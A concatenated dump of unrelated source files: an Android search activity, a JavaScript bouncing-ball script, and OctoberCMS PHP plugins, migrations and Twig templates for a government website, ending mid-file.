super.onRestoreInstanceState(savedInstanceState); Log.i("Bundle",savedInstanceState.toString()); } /* (non-Javadoc) * @see android.app.Activity#onCreateOptionsMenu(android.view.Menu) */ @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.main, menu); //sets the menu item MenuItem search = (MenuItem) menu.findItem(R.id.search); //creates a search view for the widget sv = (SearchView) MenuItemCompat.getActionView(search); System.out.println("Test: "+sv); //calls search method passing in the menu item doSearch(search); return super.onCreateOptionsMenu(menu); } /** * Do search. * * @param searchItem the search item */ private void doSearch(MenuItem searchItem) { sm = (SearchManager) getSystemService(Context.SEARCH_SERVICE); if (sm != null) { SearchableInfo info = sm.getSearchableInfo(getComponentName()); sv.setSearchableInfo(info); //passes the widget data to search view. sv.setQuery(WidgetSettings.zipp, true); } sv.setOnQueryTextListener(this); } /* (non-Javadoc) * @see android.app.Activity#onOptionsItemSelected(android.view.MenuItem) */ @Override public boolean onOptionsItemSelected(MenuItem item){ switch (item.getItemId()) { case R.id.aboutPage: Intent aboutIntent = new Intent(this, AboutActivity.class); startActivity(aboutIntent); break; case R.id.sendFeedback: Intent feedBackIntent = new Intent(this, FeedbackActivity.class); startActivity(feedBackIntent); break; default: break; } return super.onOptionsItemSelected(item); } /* (non-Javadoc) * @see android.widget.SearchView.OnQueryTextListener#onQueryTextChange(java.lang.String) */ @Override public boolean onQueryTextChange(String newText) { // TODO Auto-generated method stub Log.i("CHANGE", newText); //filters the listview with the text entered in search query adapter.getFilter().filter(newText); return false; } /* (non-Javadoc) * @see android.widget.SearchView.OnQueryTextListener#onQueryTextSubmit(java.lang.String) */ @Override public boolean onQueryTextSubmit(String query) { // TODO Auto-generated method stub Log.i("SUBMIT", query); //filters on listview on search. adapter.getFilter().filter(query); //hides keyboard InputMethodManager inputManager = (InputMethodManager) this.getSystemService(Context.INPUT_METHOD_SERVICE); inputManager.hideSoftInputFromWindow(this.getCurrentFocus().getWindowToken(), InputMethodManager.HIDE_NOT_ALWAYS); return false; } }
e6047fe5c15c61005f9242a489195e1717a4b11b
[ "Markdown", "Java" ]
6
Java
cam25/MDF3_Mozie
3bdad87a8bc649dd18abd0106bdc438c31a7f8aa
226f0e65357c8f5e25561bd3d552805c9d2db866
refs/heads/master
<file_sep>var x = 0,y = 0; var vx = 1,vy = 1; function change() { var ball = document.getElementById("ball"); if(x <= 0){ vx = 1; } else if(ball.width + x >= document.documentElement.clientWidth){ vx = -1; } x+=vx; if(y <= 0){ vy = 1; } else if(ball.height + y >= document.documentElement.clientHeight){ vy = -1; } y+=vy; ball.style.left = x + "px"; ball.style.top = y + "px"; } window.onload = function() { setInterval("change()",1); }
95b4e6d05b417243a2ea7115258735c2c596dd32
[ "JavaScript" ]
1
JavaScript
LuoYiHao/Bounceball
979a6dc9da3804d40ada4e4346d1897c46451f5e
ed4733d59313017595a4e2e9725b5000a0fe6a71
refs/heads/master
<repo_name>WR3nch-CJN/sys_cjn<file_sep>/src/api/config.js import axios from "axios"; axios.defaults.baseURL = process.env.NODE_ENV === 'development' ? "/api" : "http://www.chst.vip" axios.defaults.withCredentials = true; //允许请求携带认证 //创建请求拦截器,可以给每个请求都携带上想要传递的内容 axios.interceptors.request.use(config => { //登入&注册是不需要携带token if (config.url == "/users/login") { return config } else { let token = localStorage.getItem('wf-token') //config值的是每个请求对象 config.headers['authorization'] = token; //放行 return config } }) axios.create({ timeout: 4000 }) export default axios
4bc2c1201579ca34e26d3b228c83798de601244e
[ "JavaScript" ]
1
JavaScript
WR3nch-CJN/sys_cjn
8ce19f3954a4318fa27c216da20e24ff735858ca
85a0d56855dfd68724a5b42e0105e0e796d4e60e
refs/heads/master
<file_sep>var axios = require('axios'); var RateLimiter = require('limiter').RateLimiter; // class that all calls to League of Legends APIs are made through // TODO: Convert all axios requests to na1.api.riotgames.com to use RateLimiter class RequestMaker { constructor(apiToken) { // limit is one fourth of actual rate limit this.limiter = new RateLimiter(25, 120000); this.apiToken = apiToken; this.gameType = { "400": "Draft Pick", "420": "Ranked Solo/Duo", "430": "Blind Pick", "440": "Ranked Flex", "450": "ARAM", "460": "Twisted Treeline 3v3" } } removeToken() { return new Promise((resolve) => { this.limiter.removeTokens(1, resolve); }); } getDDragonChampKeys() { return axios.get('http://ddragon.leagueoflegends.com/cdn/9.21.1/data/en_US/championFull.json') .then(res => { let champFullData = res.data; let keys = champFullData["keys"]; return keys; }) .catch(err => { console.log(err); throw err; }); } getQueueType(queueID) { return axios.get('http://static.developer.riotgames.com/docs/lol/queues.json') .then(res => { let dataArray = res.data; for(let i = 0; i < dataArray.length; i++) { let dataObj = dataArray[i]; if(dataObj["queueId"] == queueID) { return dataObj["description"]; } } console.log(`queueID ${queueID} not found.`); return null; }) .catch(err => { console.log(err); throw err; }); } getLOLSummonerID(summonerName) { return axios({ url: `https://na1.api.riotgames.com/lol/summoner/v4/summoners/by-name/${summonerName}`, method: 'get', headers: { "X-Riot-Token": this.apiToken } }) .then(res => { let data = res.data; console.log(data); let summonerID = data["id"]; return summonerID; }) .catch(err => { console.log(err); throw err; }); } getLOLAccountID(summonerName) { return axios({ url: `https://na1.api.riotgames.com/lol/summoner/v4/summoners/by-name/${summonerName}`, method: 'get', headers: { "X-Riot-Token": this.apiToken } }) .then(res => { let data = res.data; let accountID = data["accountId"]; return accountID; }) .catch(err => { console.log(err); throw err; }); } // common queue types: // 400: Draft Pick // 420: Ranked Solo/Duo // 430: Blind Pick // 440: Ranked Flex // 450: ARAM // 460: Twisted Treeline 3v3 getMatchList(summonerID, queueTypes) { let requestURL = null; requestURL = `https://na1.api.riotgames.com/lol/match/v4/matchlists/by-account/${summonerID}`; if(queueTypes !== undefined) { if(typeof(queueTypes) == 'number') { requestURL += `?queue=${queueTypes}`; } else if(typeof(queueTypes) == 'object') { for(let i = 0; i < queueTypes.length; i++) { let queueType = queueTypes[i]; if(isNaN(queueType)) { console.log("queueType is not a number."); return null; } if(i === 0) { requestURL += `?queue=${queueType}`; } else { requestURL += `&queue=${queueType}`; } } } else { return null; } } return axios({ url: requestURL, method: 'get', headers: { "X-Riot-Token": this.apiToken } }) .then(res => { let data = res.data["matches"]; // console.log(data); return data; }) .catch(err => { console.log(err); throw err; }); } getStatsByGame(gameID, championID) { return axios({ url: `https://na1.api.riotgames.com/lol/match/v4/matches/${gameID}`, method: 'get', headers: { "X-Riot-Token": this.apiToken } }) .then(res => { let data = res.data; let playerDataArr = data["participants"]; let gameLength = data["gameDuration"]; function getPlayerStats() { for(let i = 0; i < playerDataArr.length; i++) { let playerData = playerDataArr[i]; if(playerData["championId"] == championID) { return playerData["stats"]; } } } let fullStats = getPlayerStats(); function processStats({win, kills, assists, deaths, visionScore, totalMinionsKilled, totalDamageDealt, totalDamageDealtToChampions, goldEarned}) { return {win, kills, assists, deaths, visionScore, totalMinionsKilled, totalDamageDealt, totalDamageDealtToChampions, goldEarned}; } let gameStats = processStats(fullStats); function calculateExtraStats(stats, gameLength) { let gameLenInMin = gameLength / 60; let csPerMin = stats["totalMinionsKilled"] / gameLenInMin; let goldPerMin = stats["goldEarned"] / gameLenInMin; csPerMin = csPerMin.toFixed(1); goldPerMin = goldPerMin.toFixed(1); return { csPerMin, goldPerMin }; } let extraStats = calculateExtraStats(gameStats, gameLength); let gameInfo = { championID, gameLength, gameStats, extraStats }; return gameInfo; }) // .then(data => { // console.log(data); // }) .catch(err => { console.log(err); throw err; }); } getStats(summonerName, queueType, numGames) { if(isNaN(numGames)) { console.log("Please request a numeric value for numGames."); return null; } else if(numGames < 1) { console.log("Please request numGames of at least 1."); return null; } let maxNumGames = 20; let numGamesRetrieved = numGames > maxNumGames ? maxNumGames : numGames; console.log(`numGamesRetrieved: ${numGamesRetrieved}`); return this.getLOLAccountID(summonerName) .then(id => { // console.log(id); return this.getMatchList(id, queueType) .then(matchList => { // uses object destructuring let gameInfoArr = matchList.map(({ gameId, champion }) => { return { gameId, champion }; }); // for debugging purposes // console.log(gameInfoArr); return gameInfoArr; }) .then(gameInfoArr => { if(numGamesRetrieved > gameInfoArr.length) { numGamesRetrieved = gameInfoArr.length; } let gamesRetrieved = gameInfoArr.slice(0, numGamesRetrieved); // non rate limited version // return Promise.all(gamesRetrieved.map(gameInfo => { // // getStatsByGame needs to be rate limited // return getStatsByGame(gameInfo["gameId"], gameInfo["champion"]) // .catch(err => { // throw err; // }); // })) // .catch(err => { // throw err; // }); // testing rate limited version (v1) // rate limited version works but is a very inelegant solution // cannot get the entire statsArray at one time // current rate limit is 1 per second: overly conservative // gamesRetrieved.map(gameInfo => { // limiter.removeTokens(1, (err, requestsRemaining) => { // getStatsByGame(gameInfo["gameId"], gameInfo["champion"]) // .then(stats => { // statsArray.push(stats); // }) // .catch(err => { // console.log(err); // }); // }); // }); // testing rate limited version (v2) // rate limited version works // uses promisifying the rate limiter call as suggested in: // https://stackoverflow.com/questions/52051275/promisify-callbacks-that-use-rate-limiter // current rate limit is 1 per second: overly conservative return Promise.all(gamesRetrieved.map(gameInfo => { return this.removeToken() .then(() => { return this.getStatsByGame(gameInfo["gameId"], gameInfo["champion"]) .catch(err => { throw err; }); }) .catch(err => { console.log(err); throw err; }); })) // used for debugging // .then(data => { // console.log(data); // }) .catch(err => { console.log("some error occurred in promise all"); }); }) .catch(err => { throw err; }); }) .catch(err => { console.log(err); }); } } module.exports = RequestMaker;
9e1784adfb2db92514d65d78261a2476a21fd6e0
[ "JavaScript" ]
1
JavaScript
EdmundLai/LOLRequestMaker
1c71e6edaef6cb0871d82ded3e5471d64aa1957e
c7ac33fd89fd4db2d2a9f40502140e12dfe1b77a
refs/heads/master
<repo_name>lucjs/graphQL_holaMundo<file_sep>/src/server.ts import express from 'express'; import compression from "compression"; import cors from "cors"; import { IResolvers, makeExecutableSchema } from 'graphql-tools'; import { GraphQLSchema } from 'graphql'; import { graphqlHTTP } from 'express-graphql'; const app_express = express(); const PORT = 8000; const typeDefs = ` type Query { hola: String! holaNombre(nombre: String!): String! } ` const resolvers : IResolvers = { Query : { hola(): string { return '¿ Hola como estas ?'; }, holaNombre(__:void, { nombre }): string { return `¿ Hola como estas ${nombre} ?`; } } } const schema: GraphQLSchema = makeExecutableSchema({ typeDefs, resolvers }) app_express.use('*', cors()); app_express.use(compression()); app_express.use('/', graphqlHTTP({ schema, graphiql: true })); app_express.listen({ port: PORT }, () => { console.log("Server on port 8000 -> url http://localhost:8000/graphql"); });
4dda06bb43685f6c8f2b44121bbbf241a634539c
[ "TypeScript" ]
1
TypeScript
lucjs/graphQL_holaMundo
76948bea6b503aa94a912bd1cd5466f563025832
3705f9cfa78dc0a3887a74c5ad45885019100101
refs/heads/master
<repo_name>zEkIBriTi/GWF-Updates<file_sep>/plugins/gwf/events/updates/builder_table_update_gwf_events_events_6.php <?php namespace Gwf\Events\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableUpdateGwfEventsEvents6 extends Migration { public function up() { Schema::table('gwf_events_events', function($table) { $table->integer('recorder'); }); } public function down() { Schema::table('gwf_events_events', function($table) { $table->dropColumn('recorder'); }); } } <file_sep>/web/themes/selous/content/static-pages/structure.htm [viewBag] title = "Structure" url = "/structure" layout = "simple-page" is_hidden = 0 navigation_hidden = 0 ==<file_sep>/web/plugins/gwf/projectandinvestment/updates/builder_table_update_gwf_projectandinvestment_projectsandinvestments_3.php <?php namespace gwf\projectandinvestment\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableUpdateGwfProjectandinvestmentProjectsandinvestments3 extends Migration { public function up() { Schema::table('gwf_projectandinvestment_projectsandinvestments', function($table) { $table->renameColumn('expire_date', 'end_date'); }); } public function down() { Schema::table('gwf_projectandinvestment_projectsandinvestments', function($table) { $table->renameColumn('end_date', 'expire_date'); }); } } <file_sep>/plugins/gwf/complains/updates/builder_table_update_gwf_complains__2.php <?php namespace gwf\Complains\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableUpdateGwfComplains2 extends Migration { public function up() { Schema::table('gwf_complains_', function($table) { $table->string('recorder'); }); } public function down() { Schema::table('gwf_complains_', function($table) { $table->dropColumn('recorder'); }); } } <file_sep>/web/plugins/gwf/relatedlink/updates/builder_table_update_gwf_relatedlink_related_links.php <?php namespace gwf\Relatedlink\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableUpdateGwfRelatedlinkRelatedLinks extends Migration { public function up() { Schema::table('gwf_relatedlink_related_links', function($table) { $table->date('updated_at')->nullable(); $table->date('created_at')->nullable()->change(); $table->dropColumn('update_at'); }); } public function down() { Schema::table('gwf_relatedlink_related_links', function($table) { $table->dropColumn('updated_at'); $table->date('created_at')->nullable(false)->change(); $table->date('update_at'); }); } } <file_sep>/web/plugins/gwf/economicactivities/updates/builder_table_create_gwf_economicactivities_.php <?php namespace Gwf\EconomicActivities\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableCreateGwfEconomicactivities extends Migration { public function up() { Schema::create('gwf_economicactivities_', function($table) { $table->engine = 'InnoDB'; $table->increments('id'); $table->string('activityname', 100); $table->text('description'); $table->integer('recorder'); $table->string('slug', 150); $table->boolean('activation_status'); }); } public function down() { Schema::dropIfExists('gwf_economicactivities_'); } } <file_sep>/plugins/renatio/logout/Plugin.php <?php namespace Renatio\Logout; use Renatio\Logout\Classes\Countdown; use Renatio\Logout\Classes\MiddlewareRegistration; use Renatio\Logout\Models\Settings; use System\Classes\PluginBase; use System\Classes\SettingsManager; /** * Class Plugin * @package Renatio\Logout */ class Plugin extends PluginBase { /** * @return array */ public function pluginDetails() { return [ 'name' => 'renatio.logout::lang.plugin.name', 'description' => 'renatio.logout::lang.plugin.description', 'author' => 'Renatio', 'icon' => 'icon-power-off', 'homepage' => 'https://renatio.com', ]; } /** * @return void */ public function boot() { (new Countdown)->make(); } /** * @return void */ public function register() { (new MiddlewareRegistration)->register(); } /** * @return array */ public function registerPermissions() { return [ 'renatio.logout.access_settings' => [ 'label' => 'renatio.logout::lang.permissions.settings', 'tab' => 'renatio.logout::lang.permissions.tab' ] ]; } /** * @return array */ public function registerSettings() { return [ 'settings' => [ 'label' => 'renatio.logout::lang.settings.label', 'description' => 'renatio.logout::lang.settings.description', 'category' => SettingsManager::CATEGORY_SYSTEM, 'icon' => 'icon-power-off', 'class' => Settings::class, 'order' => 600, 'keywords' => 'session timeout logout user auth', 'permissions' => ['renatio.logout.access_settings'] ] ]; } }<file_sep>/web/plugins/gwf/faq/updates/builder_table_create_gwf_faq_.php <?php namespace Gwf\Faq\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableCreateGwfFaq extends Migration { public function up() { Schema::create('gwf_faq_', function($table) { $table->engine = 'InnoDB'; $table->increments('id'); $table->string('questions'); $table->string('answers'); $table->integer('activation_status'); $table->date('created_at'); $table->date('updated_at'); $table->integer('user_id'); }); } public function down() { Schema::dropIfExists('gwf_faq_'); } } <file_sep>/web/themes/mikumi/content/static-pages/welcome-note.htm [viewBag] title = "Welcome Note" url = "/welcome-note" layout = "simple-page" is_hidden = 0 navigation_hidden = 0 == <p>Work in Progress</p><file_sep>/web/plugins/gwf/dashboardlinks/components/Dashboard.php <?php namespace Gwf\Dashboardlinks\Components; use Lang; use Cms\Classes\ComponentBase; use Gwf\Dashboardlinks\Models\Dashboardlink; class Dashboard extends ComponentBase { public $dashboardLinks; public function componentDetails() { return [ 'name' => 'Dashboard List', 'description' => 'List of dashboards' ]; } public function onRun(){ $this->dashboardLinks = $this->loadDashboard(); } protected function loadDashboard(){ return Dashboardlink::all(); } } <file_sep>/web/themes/selous/partials/footer.htm [viewBag] [staticMenu] code = "footer-menu" [ContactusDetails] [relatedlink] [quicklinks] == <div class="mini-footer"> <div class="footer-div-section footer-address-wrapper"> <h4>{{ 'Contact Us'|_ }}</h4> {% set contactinfo = ContactusDetails.contactinfo %} <p> {{ this.theme.site_tagline_ministry|_ }} {{ this.theme.site_title|_ }} {% for contact in contactinfo %} <br>{{ contact.physical_address }} <br><strong>{{ 'Postal Address'|_ }}: </strong> {{ contact.post_address }} <br><strong>{{ 'Telephone'|_ }}: </strong> {{ contact.phone }} <br><strong>{{ 'Email'|_ }}: </strong> {{ contact.email }} <br><strong>{{ 'Mobile'|_ }}: </strong> {{ contact.mobile }} {% endfor %} </p> </div> <div class="footer-div-section footer-related-links-wrapper"> <h4>{{ 'Quick Links'|_ }}</h4> {% set quicklinks = quicklinks.quicklinks %} <ul class="footer-related-links"> {% for quicklink in quicklinks %} <li><a href="{{ quicklink.url }}">{{ quicklink.title }}</a></li> {% endfor %} </ul> </div> <div class="footer-div-section footer-related-links-wrapper"> <h4>{{ 'Related Links'|_ }}</h4> {% set relatedlinks = relatedlink.relatedlinks %} <ul class="footer-related-links"> {% for relatedlink in relatedlinks %} <li><a href="{{ relatedlink.url }}">{{ relatedlink.title }}</a></li> {% endfor %} </ul> </div> <div class="footer-div-section footer-visitors-counter-wrapper"> <h4>{{ 'Social Media'|_ }}</h4> <ul class="social-media-lists"> <li> <a href="#" target="_blank"> <i class="icon-social-facebook-circle"></i> Like us on Facebook </a> </li> <li> <a href="#" target="_blank"> <i class="icon-social-twitter-circle"></i> Follow us on Twitter </a> </li> <li> <a href="#" target="_blank"> <i class="icon-social-youtube-circle"></i> Find us on Youtube</a> </li> <!-- <li> <a href="#" target="_blank"> <i class="icon-social-linkedin-circle"></i> </a> </li> --> <li> <a href="#" target="_blank"> <i class="icon-social-instagram-circle"></i> Follow us on Instagram </div> </div> <div class="footer"> <p class="text-center">{{ this.theme.site_footer_copyright|_ }}</p> {% partial 'footer-menu' items=staticMenu.menuItems %} </div> <!-- /.footer --> </div> <!-- /.container --> <!--CORE JS--> <script src="{{ 'assets/js/jquery.min.js' | theme }}"></script> <script src="{{ 'assets/js/bootstrap.min.js' | theme }}"></script> <script src="{{ 'assets/js/matchHeight.min.js' | theme }}"></script> <script src="{{ 'assets/js/placeholder.min.js' | theme }}"></script> <script src="{{ 'assets/js/easing.min.js' | theme }}"></script> <script src="{{ 'assets/js/smartmenu.min.js' | theme }}"></script> <script src="{{ 'assets/js/smartmenu.bootstrap.min.js' | theme }}"></script> <script src="{{ 'assets/js/jquery.lazyload.min.js' | theme }}"></script> <script src="{{ 'assets/js/magnific-popup.min.js' | theme }}"></script> <script src="{{ 'assets/js/jquery.tabslet.min.js' | theme }}"></script> <script src="{{ ['~/modules/system/assets/js/framework.js'] | theme }}"></script> <script src="{{ ['~/modules/system/assets/js/framework.extras.js'] | theme }}"></script> <link rel="stylesheet" href="{{ ['~/modules/system/assets/css/framework.extras.css'] | theme }}"> <!--END CORE JS--> <!--CUSTOM JS--> {% placeholder footer %} <script src="{{ 'assets/js/custom.min.js' | theme }}"></script> <!--END OF CUSTOM JS--> </body> </html><file_sep>/plugins/gwf/advertisements/components/singleadvertisement/default.htm {% set advertisement = __SELF__.advertisement %} {% set notFoundMessage = __SELF__.notFoundMessage %} {% if advertisement %} <h1 class="page-title">{{ advertisement.title }}</h1> <div class="article-head"> <img src="{{ advertisement.url.thumb(800,420,'crop') }}" alt=""> <span class="date">Posted on: {{ advertisement.published_date|date("F jS, Y") }}</span> </div> {{ advertisement.content|raw }} {% else %} {{ notFoundMessage }} {% endif %}<file_sep>/web/plugins/gwf/welcomenote/components/Welcome.php <?php namespace Gwf\Welcomenote\Components; use Lang; use Cms\Classes\ComponentBase; use Cms\Classes\Page; use RainLab\Builder\Classes\ComponentHelper;; use SystemException; use Gwf\Welcomenote\Models\WelcomeNote; class Welcome extends ComponentBase { /** * A model instance to display * @var \October\Rain\Database\Model */ public $welcomenote = null; public $welcomeotelink; /** * Message to display if the record is not found. * @var string */ public $notFoundMessage; public function componentDetails() { return [ 'name' => 'Welcome Note', 'description' => 'Show Welcome Note' ]; } // // Properties // public function defineProperties() { return [ 'notFoundMessage' => [ 'title' => 'rainlab.builder::lang.components.details_not_found_message', 'description' => 'rainlab.builder::lang.components.details_not_found_message_description', 'default' => Lang::get('rainlab.builder::lang.components.details_not_found_message_default'), 'type' => 'string', 'showExternalParam' => false ], 'welcomeNote' => [ 'title' => 'Welcome Note', 'description' => 'rainlab.builder::lang.components.list_details_page_description', 'type' => 'dropdown', 'showExternalParam' => false, 'group' => 'rainlab.builder::lang.components.list_detalis_page_link' ] ]; } // // Rendering and processing // public function onRun() { $this->prepareVars(); $this->welcomenote = $this->page['welcomenote'] = $this->loadWelcomenote(); } public function getWelcomeNoteOptions() { $pages = Page::sortBy('baseFileName')->lists('baseFileName', 'baseFileName'); $pages = [ '-' => Lang::get('rainlab.builder::lang.components.list_details_page_no') ] + $pages; return $pages; } protected function prepareVars() { $welcomeotelink = $this->property('welcomeotelink'); if ($welcomeotelink == '-') { $welcomeotelink = null; } $this->welcomeotelink = $this->page['welcomeotelink'] = $welcomeotelink; } protected function loadWelcomenote() { return WelcomeNote::orderby('id','ASC')->first(); } }<file_sep>/web/themes/mikumi/pages/error.htm title = "Error" url = "/error" is_hidden = 0 [viewBag] localeUrl[en] = "/error" == <div class="col-md-9 col-sm-12"> <!--START RIGHT SIDEBAR CONTENTE SECTION--> <div class="right-sidebar-content div-match-height"> <div style="width: 50%; margin: 30px auto; background-color: #f3aa0c; color: #ffffff; height: 100px; padding: 20px; border-radius: 4px;"> <h2 style="text-decoration: underline;" class="page-title">{{ 'Sorry!'|_ }}</h2> <h3>{{ 'There is a problem with a page you are requesting, please contact administrator'|_ }}</h3> </div> </div> <!-- /.right-sidebar-content --> <!--/END RIGHT SIDEBAR CONTENTE SECTION--> </div><file_sep>/plugins/gwf/faq/Plugin.php <?php namespace Gwf\Faq; use System\Classes\PluginBase; class Plugin extends PluginBase { public function registerComponents() { return [ 'Gwf\Faq\Components\Faqlist' => 'Faqlist', ]; } public function registerSettings() { } } <file_sep>/plugins/gwf/contactus/components/ContactusDetails.php <?php namespace Gwf\Contactus\Components; use Lang; use Cms\Classes\ComponentBase; use Gwf\Contactus\Models\Contactus; class ContactusDetails extends ComponentBase { public $contactinfo; public function componentDetails() { return [ 'name' => 'Contactus Home Details', 'description' => 'Contactus info' ]; } public function onRun(){ $this->contactinfo = $this->loadContactInfo(); } protected function loadContactInfo(){ return Contactus::all(); } } <file_sep>/web/themes/selous/content/static-pages/simanjiro.htm [viewBag] title = "Simanjiro" url = "/simanjiro" layout = "simple-page" is_hidden = 0 navigation_hidden = 0 ==<file_sep>/themes/mikumi/content/static-pages-sw/mining.htm [viewBag] == <p>The mining sector in Tanzania is extremely important as it accounts for a significant share of the country’s export revenues. The governments plan is to have this sector contribute 10% of GDP by 2025. The main mineral mined in Mwanza are gold and diamond in Misungwi &nbsp;Sengerema districts and construction materials. Opportunities exist in establishing refinery industries for mineral processing and hiring/selling equipments for large and small scale miners</p> <p><img class="fr-dib fr-draggable" src="/mwanza/storage/app/media/uploaded-files/mining.jpg" style="width: 300px;" data-result="success"></p> <p> <br> </p><file_sep>/web/plugins/gwf/contactus/updates/builder_table_create_gwf_contactus_contactus.php <?php namespace Gwf\Contactus\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableCreateGwfContactusContactus extends Migration { public function up() { Schema::create('gwf_contactus_contactus', function($table) { $table->engine = 'InnoDB'; $table->increments('id'); $table->string('physical_address', 200); $table->string('post_address', 200); $table->string('email', 255); $table->string('phone', 20); $table->string('mobile', 20); $table->string('fax', 50); $table->integer('user_d'); }); } public function down() { Schema::dropIfExists('gwf_contactus_contactus'); } } <file_sep>/web/plugins/gwf/contactus/assets/js/form.js $(document).ready(function () { $('#loading').hide(); $('#sendfeedback').click(function(){ $('#contact').hide(); $('#loading').show(); }); }); <file_sep>/plugins/renatio/logout/tests/ValidateSessionTest.php <?php namespace Renatio\Logout\Tests; use Backend\Facades\BackendAuth; use Backend\Models\User; use Illuminate\Http\Request; use PluginTestCase; use Renatio\Logout\Classes\MiddlewareRegistration; use Renatio\Logout\Middleware\ValidateSession; use Renatio\Logout\Models\Settings; /** * Class ValidateSessionTest * @package Renatio\Logout\Tests */ class ValidateSessionTest extends PluginTestCase { /** * @var string */ protected $baseUrl = 'http://oc-logout.app'; /** * @var */ protected $middleware; /** * @return void */ public function setUp() { parent::setUp(); BackendAuth::login(User::first()); (new MiddlewareRegistration)->register(); $session = app()->make('Illuminate\Session\Store'); $this->middleware = new ValidateSession($session); } /** @test */ public function it_handles_request() { $request = new Request; $response = $this->middleware->handle($request, function () { return true; }); $this->assertTrue($response); } /** @test */ public function it_logout_authenticated_user_after_session_timeout() { $settings = Settings::instance(); $settings->lifetime = 0; $response = $this->call('GET', 'backend'); $this->assertEquals(302, $response->getStatusCode()); $this->assertEquals($this->baseUrl . '/backend/backend/auth', $response->getTargetUrl()); } }<file_sep>/plugins/gwf/contactus/components/ContactForm.php <?php namespace Gwf\Contactus\Components; use Lang; use Cms\Classes\ComponentBase; use Gwf\Contactus\Models\Contactus; use Input; use Flash; use Mail; use Redirect; use Response; use Validator; use Illuminate\Http\Request; use ValidationException; use Illuminate\Support\MessageBag; class ContactForm extends ComponentBase { public $contactinfo; public function componentDetails() { return [ 'name' => 'Contactus Form', 'description' => 'Contactus' ]; } public function onRun(){ // $this->addJs('/plugins/gwf/contactus/assets/js/form.js'); $this->addJs('/plugins/gwf/contactus/assets/js/form.js'); $this->contactinfo = $this->loadContactInfo(); } protected function loadContactInfo(){ return Contactus::all(); } public function onSend(){ $vars = ['name' => Input::get('name'), 'email' => Input::get('email') ,'content' => Input::get('message')]; /// copy $validator = Validator::make( [ 'name' => Input::get('name'), 'subject' => Input::get('subject'), 'message' => Input::get('message'), 'email' => Input::get('email') ], [ 'name' => 'required', 'subject' => 'required', 'message' => 'required', 'email' => 'required|email' ] ); if ($validator->fails()) { return Redirect::back()->withErrors($validator); } else{ ////// end copy $send = Mail::send('gwf.contactus::mail.message', $vars, function($message) { $receiver = Contactus::orderby('id','DESC')->first()->email; $message->to($receiver, 'Admin Person'); $message->subject('Feedback from website'); }); sleep(5); if($send){ Flash::success("Thank you, you have Successfully sent your feedback!!"); }else{ Flash::error("Sorry,your feedback not sent!!"); } return Redirect::to('/contact-us'); } /////copy } } <file_sep>/web/plugins/gwf/events/models/Event.php <?php namespace Gwf\Events\Models; use Model; use BackendAuth; use October\Rain\Database\Attach\File; /** * Model */ class Event extends Model { use \October\Rain\Database\Traits\Validation; use \October\Rain\Database\Traits\Sluggable; /* * Validation */ public $rules = [ 'title' => 'required', 'content' => 'required', ]; public $implement =['RainLab.Translate.Behaviors.TranslatableModel']; public $translatable = ['title','content']; /* * Disable timestamps by default. * Remove this line if timestamps are defined in the database table. */ public $timestamps = false; //public $timestamps = true; /** * @var string The database table used by the model. */ public $table = 'gwf_events_events'; public $attachOne = ['event_photo' => 'System\Models\File']; protected $slugs = ['slug' => 'title']; public function beforeCreate() { } public function beforeSave() { $user = BackendAuth::getUser(); $this->recorder = $user->id; } }<file_sep>/web/plugins/gwf/advertisements/updates/builder_table_update_gwf_advertisements_advertisements.php <?php namespace Gwf\Advertisements\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableUpdateGwfAdvertisementsAdvertisements extends Migration { public function up() { Schema::table('gwf_advertisements_advertisements', function($table) { $table->date('updated_at'); }); } public function down() { Schema::table('gwf_advertisements_advertisements', function($table) { $table->dropColumn('updated_at'); }); } } <file_sep>/web/plugins/gwf/profiles/components/Profilelist.php <?php namespace Gwf\Profiles\Components; use Lang; use Cms\Classes\Page; use Cms\Classes\ComponentBase; use RainLab\Builder\Classes\ComponentHelper; use SystemException; use Exception; use Gwf\Profiles\Models\Profiles; class Profilelist extends ComponentBase { /** * Reference to the page name for linking to details. * @var string */ public $detailsPage; /** * Parameter to use for the page number * @var string */ public $pageParam; /** * Name of the details page URL parameter which takes the record identifier. * @var string */ public $detailsUrlParameter; /** * Model column to use as a record identifier in the details page links * @var string */ public $detailsKeyColumn; public $profilelist; public $welcomeNote; public function componentDetails() { return [ 'name' => 'Profile List', 'description' => 'List of Profiles' ]; } public function defineProperties() { return [ 'detailsPage' => [ 'title' => 'rainlab.builder::lang.components.list_details_page', 'description' => 'rainlab.builder::lang.components.list_details_page_description', 'type' => 'dropdown', 'showExternalParam' => false, 'group' => 'rainlab.builder::lang.components.list_detalis_page_link' ], 'detailsKeyColumn' => [ 'title' => 'rainlab.builder::lang.components.list_details_key_column', 'description' => 'rainlab.builder::lang.components.list_details_key_column_description', 'type' => 'autocomplete', 'depends' => ['modelClass'], 'showExternalParam' => false, 'group' => 'rainlab.builder::lang.components.list_detalis_page_link' ], 'detailsUrlParameter' => [ 'title' => 'rainlab.builder::lang.components.list_details_url_parameter', 'description' => 'rainlab.builder::lang.components.list_details_url_parameter_description', 'type' => 'string', 'default' => 'id', 'showExternalParam' => false, 'group' => 'rainlab.builder::lang.components.list_detalis_page_link' ], 'welcomeNote' => [ 'title' => 'Welcome Note', 'description' => 'rainlab.builder::lang.components.list_details_page_description', 'type' => 'dropdown', 'showExternalParam' => false, 'group' => 'rainlab.builder::lang.components.list_detalis_page_link' ], ]; } public function onRun(){ $this->prepareVars(); $this->profilelist = $this->loadProfiles(); } protected function loadProfiles(){ return Profiles::where('activation_status',1)->orderby('id','ASC')->limit(2)->get(); } public function getDetailsPageOptions() { $pages = Page::sortBy('baseFileName')->lists('baseFileName', 'baseFileName'); $pages = [ '-' => Lang::get('rainlab.builder::lang.components.list_details_page_no') ] + $pages; return $pages; } public function getWelcomeNoteOptions() { $pages = Page::sortBy('baseFileName')->lists('baseFileName', 'baseFileName'); $pages = [ '-' => Lang::get('rainlab.builder::lang.components.list_details_page_no') ] + $pages; return $pages; } protected function prepareVars() { $this->pageParam = $this->page['pageParam'] = $this->paramName('pageNumber'); $this->detailsKeyColumn = 